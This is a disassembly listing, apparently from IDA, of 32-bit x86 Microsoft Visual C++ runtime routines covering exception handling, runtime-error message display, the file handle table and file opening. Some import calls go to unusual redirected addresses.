26308F3h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423C87 push edi nop call near ptr 2630000h test eax, eax jz short loc_423C87 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423C8D loc_423C87: ; CODE XREF: ___:00423C6Ej ; ___:00423C79j or byte ptr [esi+4], 40h jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C8D: ; CODE XREF: ___:00423C85j cmp eax, 3 jnz short loc_423C9C or byte ptr [esi+4], 8 jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C98: ; CODE XREF: ___:00423C49j or byte ptr [esi+4], 80h loc_423C9C: ; CODE XREF: ___:00423C8Bj ; ___:00423C90j ... inc ebx cmp ebx, 3 jl short loc_423C3D push dword_4DD140 nop call near ptr 2630B5Eh pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CC0 proc near ; DATA XREF: sub_4228FD+Ao ; sub_422A2C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423D60 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423CF3: ; CODE XREF: sub_423CC0+90j cmp esi, 0FFFFFFFFh jz short loc_423D59 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423D47 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423D47 js short loc_423D52 mov edi, [ebx+8] push ebx call sub_41D550 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D592 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D626 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423D47: ; CODE XREF: sub_423CC0+40j ; sub_423CC0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423CF3 ; --------------------------------------------------------------------------- loc_423D52: ; CODE XREF: sub_423CC0+54j mov eax, 0 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D59: ; CODE XREF: sub_423CC0+36j mov eax, 1 jmp short loc_423D75 ; --------------------------------------------------------------------------- loc_423D60: ; CODE XREF: sub_423CC0+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D592 add esp, 8 pop ebp mov eax, 1 loc_423D75: ; CODE XREF: sub_423CC0+97j ; sub_423CC0+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423CC0 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D592 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p mov eax, dword_4DBE3C cmp eax, 1 jz short loc_423DAF test eax, eax jnz short locret_423DD0 cmp dword_43AE44, 1 jnz short locret_423DD0 loc_423DAF: ; CODE XREF: sub_423D98+8j push 0FCh call sub_423DD1 mov eax, dword_4DBFA8 pop ecx test eax, eax jz short loc_423DC5 call eax loc_423DC5: ; CODE XREF: sub_423D98+29j push 0FFh call sub_423DD1 pop ecx locret_423DD0: ; CODE XREF: sub_423D98+Cj ; sub_423D98+15j retn sub_423D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p ; sub_423D98+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43D4D8 loc_423DE4: ; CODE XREF: sub_423DD1+20j cmp edx, [eax] jz short loc_423DF3 add eax, 8 inc ecx cmp eax, offset off_43D568 jl short loc_423DE4 loc_423DF3: ; CODE XREF: sub_423DD1+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43D4D8[esi] jnz loc_423F21 mov eax, dword_4DBE3C cmp eax, 1 jz loc_423EFB test eax, eax jnz short loc_423E24 cmp dword_43AE44, 1 jz loc_423EFB loc_423E24: ; CODE XREF: sub_423DD1+44j cmp edx, 0FCh jz loc_423F21 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2690000h nop test eax, eax jnz short loc_423E5B lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C890 pop ecx pop ecx loc_423E5B: ; CODE XREF: sub_423DD1+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B9C0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423E9E lea eax, [ebp+var_1A4] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41BFD0 add esp, 10h loc_423E9E: ; CODE XREF: sub_423DD1+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C890 lea eax, [ebp+var_A0] push edi push eax call sub_41C8A0 lea eax, [ebp+var_A0] push offset asc_427BF0 ; "\n\n" push eax call sub_41C8A0 push off_43D4DC[esi] lea eax, [ebp+var_A0] push eax call sub_41C8A0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_425029 add esp, 2Ch pop edi jmp short loc_423F21 ; --------------------------------------------------------------------------- loc_423EFB: ; CODE XREF: sub_423DD1+3Cj ; sub_423DD1+4Dj lea eax, [ebp+arg_0] lea esi, off_43D4DC[esi] push 0 push eax push dword ptr [esi] call sub_41B9C0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 26308F3h nop push eax nop call near ptr 2740000h loc_423F21: ; CODE XREF: sub_423DD1+2Ej ; sub_423DD1+59j ... pop esi leave retn sub_423DD1 endp ; =============== S U B R O U T I N E ======================================= sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DD040 loc_423F33: ; CODE XREF: sub_423F24+48j mov eax, [ecx] test eax, eax jz short loc_423F70 lea edx, [eax+100h] loc_423F3F: ; CODE XREF: sub_423F24+28j cmp eax, edx jnb short loc_423F5F test byte ptr [eax+4], 1 jz short loc_423F4E add eax, 8 jmp short loc_423F3F ; --------------------------------------------------------------------------- loc_423F4E: ; CODE XREF: sub_423F24+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423FB3 loc_423F5F: ; CODE XREF: sub_423F24+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DD140 jl short loc_423F33 jmp short loc_423FB3 ; --------------------------------------------------------------------------- loc_423F70: ; CODE XREF: sub_423F24+13j mov esi, 100h push esi call sub_41BEB5 test eax, eax pop ecx jz short loc_423FB3 add dword_4DD140, 20h lea ecx, ds:4DD040h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423F96: ; CODE XREF: sub_423F24+88j cmp eax, edx jnb short loc_423FAE and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423F96 ; --------------------------------------------------------------------------- loc_423FAE: ; CODE XREF: sub_423F24+74j shl edi, 5 mov ebx, edi loc_423FB3: ; CODE XREF: sub_423F24+39j ; sub_423F24+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423F24 endp ; =============== S U B R O U T I N E ======================================= sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 push edi jnb short loc_424019 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_424019 cmp dword_43AE44, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_42400F sub eax, 0 jz short loc_424006 dec eax jz short loc_424001 dec eax jnz short loc_42400F push ebx push 0FFFFFFF4h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FB9+3Ej push ebx push 0FFFFFFF5h jmp short loc_424009 ; --------------------------------------------------------------------------- loc_424006: ; CODE XREF: sub_423FB9+3Bj push ebx push 0FFFFFFF6h loc_424009: ; CODE XREF: sub_423FB9+46j ; sub_423FB9+4Bj nop call near ptr 262058Ah loc_42400F: ; CODE XREF: sub_423FB9+36j ; sub_423FB9+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_42402D ; --------------------------------------------------------------------------- loc_424019: ; CODE XREF: sub_423FB9+Cj ; sub_423FB9+28j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_42402D: ; CODE XREF: sub_423FB9+5Ej pop edi pop esi retn sub_423FB9 endp ; =============== S U B R O U T I N E ======================================= sub_424030 proc near ; CODE XREF: sub_41E312+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DD140 push edi jnb short loc_424093 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DD040h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_424093 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_424093 cmp dword_43AE44, 1 jnz short loc_424089 xor eax, eax sub ecx, eax jz short loc_424080 dec ecx jz short loc_42407B dec ecx jnz short loc_424089 push eax push 0FFFFFFF4h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_42407B: ; CODE XREF: sub_424030+41j push eax push 0FFFFFFF5h jmp short loc_424083 ; --------------------------------------------------------------------------- loc_424080: ; CODE XREF: sub_424030+3Ej push eax push 0FFFFFFF6h loc_424083: ; CODE XREF: sub_424030+49j ; sub_424030+4Ej nop call near ptr 262058Ah loc_424089: ; CODE XREF: sub_424030+38j ; sub_424030+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4240A7 ; --------------------------------------------------------------------------- loc_424093: ; CODE XREF: sub_424030+Cj ; sub_424030+2Aj ... and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh loc_4240A7: ; CODE XREF: sub_424030+61j pop edi pop esi retn sub_424030 endp ; =============== S U B R O U T I N E ======================================= sub_4240AA proc near ; CODE XREF: sub_41E312+32p ; sub_41E312+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_4240D2 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4240D2 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4240D2: ; CODE XREF: sub_4240AA+Aj ; sub_4240AA+23j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh retn sub_4240AA endp ; =============== S U B R O U T I N E ======================================= sub_4240E7 proc near ; CODE XREF: sub_41E3F0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jnb short loc_424130 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DD040[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_424130 push eax call sub_4240AA pop ecx push eax nop call near ptr 2620000h test eax, eax jnz short loc_424125 nop call near ptr 26B0669h jmp short loc_424127 ; --------------------------------------------------------------------------- loc_424125: ; CODE XREF: sub_4240E7+34j xor eax, eax loc_424127: ; CODE XREF: sub_4240E7+3Cj test eax, eax jz short locret_42413D mov dword_4DBDE0, eax loc_424130: ; CODE XREF: sub_4240E7+Aj ; sub_4240E7+22j mov dword_4DBDDC, 9 or eax, 0FFFFFFFFh locret_42413D: ; CODE XREF: sub_4240E7+42j retn sub_4240E7 endp ; =============== S U B R O U T I N E ======================================= sub_42413E proc near ; DATA XREF: ___:00429020o mov eax, dword_4DD020 push esi push 14h test eax, eax pop esi jnz short loc_424152 mov eax, 200h jmp short loc_424158 ; --------------------------------------------------------------------------- loc_424152: ; CODE XREF: sub_42413E+Bj cmp eax, esi jge short loc_42415D mov eax, esi loc_424158: ; CODE XREF: sub_42413E+12j mov dword_4DD020, eax loc_42415D: ; CODE XREF: sub_42413E+16j push 4 push eax call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 4 push esi mov dword_4DD020, esi call sub_4250B2 pop ecx mov dword_4DC01C, eax test eax, eax pop ecx jnz short loc_424191 push 1Ah call sub_41E2C9 pop ecx loc_424191: ; CODE XREF: sub_42413E+30j ; sub_42413E+49j xor ecx, ecx mov eax, offset off_43D568 loc_424198: ; CODE XREF: sub_42413E+6Ej mov edx, dword_4DC01C mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43D7E8 jl short loc_424198 xor edx, edx mov ecx, offset dword_43D578 loc_4241B5: ; CODE XREF: sub_42413E+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DD040[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4241D2 test eax, eax jnz short loc_4241D5 loc_4241D2: ; CODE XREF: sub_42413E+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4241D5: ; CODE XREF: sub_42413E+92j add ecx, 20h inc edx cmp ecx, offset dword_43D5D8 jl short loc_4241B5 pop esi retn sub_42413E endp ; =============== S U B R O U T I N E ======================================= sub_4241E3 proc near ; DATA XREF: ___:00429030o ; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES call sub_41E487 cmp byte_4DBE1C, 0 jz short locret_4241F6 jmp loc_425163 ; --------------------------------------------------------------------------- locret_4241F6: ; CODE XREF: sub_4241E3+Cj retn sub_4241E3 endp ; =============== S U B R O U T I N E ======================================= sub_4241F7 proc near ; CODE XREF: sub_41F8E3+32p ; sub_41FE2A+6Cp ... arg_0 = dword ptr 4 inc dword_4DBFAC push 1000h call sub_41BEB5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_424220 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_424231 ; --------------------------------------------------------------------------- loc_424220: ; CODE XREF: sub_4241F7+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_424231: ; CODE XREF: sub_4241F7+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4241F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42423B proc near ; CODE XREF: sub_41FBCD+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_424261 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_42426C ; --------------------------------------------------------------------------- loc_424261: ; CODE XREF: sub_42423B+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_42426C: ; CODE XREF: sub_42423B+24j mov eax, 8000h test ecx, eax jnz short loc_424286 test ch, 40h jnz short loc_424282 cmp dword_4DBFF8, eax jz short loc_424286 loc_424282: ; CODE XREF: sub_42423B+3Dj or [ebp+var_1], 80h loc_424286: ; CODE XREF: sub_42423B+38j ; sub_42423B+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_4242BE dec eax jz short loc_4242B5 dec eax jz short loc_4242AC loc_424297: ; CODE XREF: sub_42423B+9Fj ; sub_42423B+E8j ... mov dword_4DBDDC, 16h mov dword_4DBDE0, ebx jmp loc_4244D1 ; --------------------------------------------------------------------------- loc_4242AC: ; CODE XREF: sub_42423B+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242B5: ; CODE XREF: sub_42423B+57j mov [ebp+var_C], 40000000h jmp short loc_4242C5 ; --------------------------------------------------------------------------- loc_4242BE: ; CODE XREF: sub_42423B+54j mov [ebp+var_C], 80000000h loc_4242C5: ; CODE XREF: sub_42423B+78j ; sub_42423B+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_4242F3 cmp eax, 20h jz short loc_4242EA cmp eax, 30h jz short loc_4242E1 cmp eax, 40h jnz short loc_424297 mov [ebp+var_10], esi jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: sub_42423B+9Aj mov [ebp+var_10], 2 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242EA: ; CODE XREF: sub_42423B+95j mov [ebp+var_10], 1 jmp short loc_4242F6 ; --------------------------------------------------------------------------- loc_4242F3: ; CODE XREF: sub_42423B+90j mov [ebp+var_10], ebx loc_4242F6: ; CODE XREF: sub_42423B+A4j ; sub_42423B+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_424340 jz short loc_42433B cmp ecx, ebx jz short loc_42433B cmp ecx, edi jz short loc_424332 cmp ecx, 200h jz short loc_424359 cmp ecx, 300h jnz loc_424297 mov [ebp+var_8], 2 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424332: ; CODE XREF: sub_42423B+D8j mov [ebp+var_8], 4 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_42433B: ; CODE XREF: sub_42423B+D0j ; sub_42423B+D4j mov [ebp+var_8], esi jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424340: ; CODE XREF: sub_42423B+CEj cmp ecx, 500h jz short loc_424362 cmp ecx, 600h jz short loc_424359 cmp ecx, edx jz short loc_424362 jmp loc_424297 ; --------------------------------------------------------------------------- loc_424359: ; CODE XREF: sub_42423B+E0j ; sub_42423B+113j mov [ebp+var_8], 5 jmp short loc_424369 ; --------------------------------------------------------------------------- loc_424362: ; CODE XREF: sub_42423B+10Bj ; sub_42423B+117j mov [ebp+var_8], 1 loc_424369: ; CODE XREF: sub_42423B+F5j ; sub_42423B+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_424388 mov ecx, dword_4DBDE4 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_424388 push 1 pop esi loc_424388: ; CODE XREF: sub_42423B+138j ; sub_42423B+148j test al, 40h jz short loc_424396 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_424396: ; CODE XREF: sub_42423B+14Fj test ah, 10h jz short loc_42439D or esi, edi loc_42439D: ; CODE XREF: sub_42423B+15Ej test al, 20h jz short loc_4243A9 or esi, 8000000h jmp short loc_4243B3 ; --------------------------------------------------------------------------- loc_4243A9: ; CODE XREF: sub_42423B+164j test al, 10h jz short loc_4243B3 or esi, 10000000h loc_4243B3: ; CODE XREF: sub_42423B+16Cj ; sub_42423B+170j call sub_423F24 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_4243D4 and dword_4DBDE0, 0 mov dword_4DBDDC, 18h jmp short loc_424412 ; --------------------------------------------------------------------------- loc_4243D4: ; CODE XREF: sub_42423B+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 27506FCh mov esi, eax cmp esi, edi jz short loc_424405 push esi nop call near ptr 2630000h test eax, eax jnz short loc_424419 push esi call near ptr 26808BBh nop loc_424405: ; CODE XREF: sub_42423B+1B6j nop call near ptr 26B0669h push eax call sub_420C7F pop ecx loc_424412: ; CODE XREF: sub_42423B+197j mov eax, edi jmp loc_4244EF ; --------------------------------------------------------------------------- loc_424419: ; CODE XREF: sub_42423B+1C1j cmp eax, 2 jnz short loc_424424 or [ebp+var_1], 40h jmp short loc_42442D ; --------------------------------------------------------------------------- loc_424424: ; CODE XREF: sub_42423B+1E1j cmp eax, 3 jnz short loc_42442D or [ebp+var_1], 8 loc_42442D: ; CODE XREF: sub_42423B+1E7j ; sub_42423B+1ECj push esi push ebx call sub_423FB9 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DD040h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_4244D6 test al, 80h jz short loc_4244D6 test byte ptr [ebp+arg_4], 2 jz short loc_4244D6 push 2 push 0FFFFFFFFh push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_42448B cmp dword_4DBDE0, 83h jz short loc_4244D6 jmp short loc_4244CA ; --------------------------------------------------------------------------- loc_42448B: ; CODE XREF: sub_42423B+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F9BC add esp, 0Ch test eax, eax jnz short loc_4244B8 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_4244B8 push [ebp+var_10] push ebx call sub_4251BB pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4244CA loc_4244B8: ; CODE XREF: sub_42423B+265j ; sub_42423B+26Bj push 0 push 0 push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_4244D6 loc_4244CA: ; CODE XREF: sub_42423B+24Ej ; sub_42423B+27Bj push ebx call sub_41E312 pop ecx loc_4244D1: ; CODE XREF: sub_42423B+6Cj or eax, 0FFFFFFFFh jmp short loc_4244EF ; --------------------------------------------------------------------------- loc_4244D6: ; CODE XREF: sub_42423B+221j ; sub_42423B+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4244ED test byte ptr [ebp+arg_4], 8 jz short loc_4244ED mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_4244ED: ; CODE XREF: sub_42423B+29Fj ; sub_42423B+2A5j mov eax, ebx loc_4244EF: ; CODE XREF: sub_42423B+1D9j ; sub_42423B+299j pop edi pop esi pop ebx leave retn sub_42423B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244F4 proc near ; CODE XREF: sub_41FDB5+5Ep ; sub_420988+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DBFB4 xor ebx, ebx cmp eax, ebx jnz short loc_424563 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi call near ptr 2610000h nop test eax, eax jz short loc_424541 mov eax, esi jmp short loc_42455E ; --------------------------------------------------------------------------- loc_424541: ; CODE XREF: sub_4244F4+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push ebx call near ptr 2610749h nop test eax, eax jz loc_424629 push 2 pop eax loc_42455E: ; CODE XREF: sub_4244F4+4Bj mov dword_4DBFB4, eax loc_424563: ; CODE XREF: sub_4244F4+2Fj cmp eax, 2 jnz short loc_42458C mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_424574 mov eax, dword_4DBE84 loc_424574: ; CODE XREF: sub_4244F4+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2610749h jmp loc_42462B ; --------------------------------------------------------------------------- loc_42458C: ; CODE XREF: sub_4244F4+72j cmp eax, 1 jnz loc_424629 cmp [ebp+arg_10], ebx jnz short loc_4245A2 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_4245A2: ; CODE XREF: sub_4244F4+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2720000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_424629 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41BF70 add esp, 0Ch jmp short loc_4245F8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4245F8: ; CODE XREF: sub_4244F4+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_424629 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2720000h nop cmp eax, ebx jz short loc_424629 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 2610000h jmp short loc_42462B ; --------------------------------------------------------------------------- loc_424629: ; CODE XREF: sub_4244F4+61j ; sub_4244F4+9Bj ... xor eax, eax loc_42462B: ; CODE XREF: sub_4244F4+93j ; sub_4244F4+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4244F4 endp ; =============== S U B R O U T I N E ======================================= sub_42463D proc near ; CODE XREF: sub_41FE2A+61p ; sub_420CE6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DD140 jb short loc_42464C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42464C: ; CODE XREF: sub_42463D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_42463D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424663 proc near ; CODE XREF: sub_41FF3F+2D4p ; sub_41FF3F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_42466F pop ebp retn ; --------------------------------------------------------------------------- loc_42466F: ; CODE XREF: sub_424663+8j cmp dword_4DBE84, 0 jnz short loc_42468A mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4246BC push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: sub_424663+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43D084 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DBE94 nop call near ptr 2861078h test eax, eax jz short loc_4246BC cmp [ebp+arg_0], 0 jz short loc_4246C9 loc_4246BC: ; CODE XREF: sub_424663+1Ej ; sub_424663+51j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh loc_4246C9: ; CODE XREF: sub_424663+57j pop ebp retn sub_424663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4246CB proc near ; CODE XREF: sub_420DB0+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4246EE cmp [ebp+arg_8], ebx jz short loc_4246EE mov al, [esi] cmp al, bl jnz short loc_4246F4 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4246EE mov [eax], bx loc_4246EE: ; CODE XREF: sub_4246CB+Cj ; sub_4246CB+11j ... xor eax, eax loc_4246F0: ; CODE XREF: sub_4246CB+42j ; sub_4246CB+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4246F4: ; CODE XREF: sub_4246CB+17j cmp dword_4DBE84, ebx jnz short loc_42470F mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_42470A movzx ax, al mov [ecx], ax loc_42470A: ; CODE XREF: sub_4246CB+36j ; sub_4246CB+C0j push 1 pop eax jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42470F: ; CODE XREF: sub_4246CB+2Fj mov ecx, off_43CE78 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42476C mov eax, dword_43D084 cmp eax, 1 jle short loc_424753 cmp [ebp+arg_8], eax jl short loc_42475D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] 